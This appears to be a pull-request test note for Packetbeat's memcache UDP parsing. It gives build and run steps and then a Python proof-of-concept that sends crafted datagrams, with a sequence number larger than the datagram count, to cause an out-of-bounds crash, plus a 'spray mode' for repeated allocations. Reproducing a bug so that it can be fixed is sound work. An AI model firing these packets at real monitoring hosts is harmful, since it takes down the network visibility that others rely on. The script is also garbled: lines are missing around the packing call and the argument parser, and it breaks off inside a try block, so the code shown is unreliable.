How to test this PR locally

1. Compile packetbeat

cd /opt/beats
go build -C packetbeat -o /usr/local/bin/packetbeat

2. Run packetbeat

packetbeat -e -c packetbeat_memcache_udp.yml

3. Run the following script to trigger the issue:

#!/usr/bin/env python3
"""Send crafted memcache UDP datagrams to trigger Packetbeat bugs."""
import argparse
import socket
import struct
import time


def send_crash(sock, host, port):
    # requestID=0x4242, seqNumber=5, numDatagrams=2 -> out-of-bounds

        ">HHHH",
        0x4242,  # requestID
        5,       # seqNumber > numDatagrams
        2,       # numDatagrams
        0,
    )
    sock.sendto(header + b"A", (host, port))

        default=10,
        help="number of allocations to attempt in spray mode",
    )
    args = parser.parse_args()

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
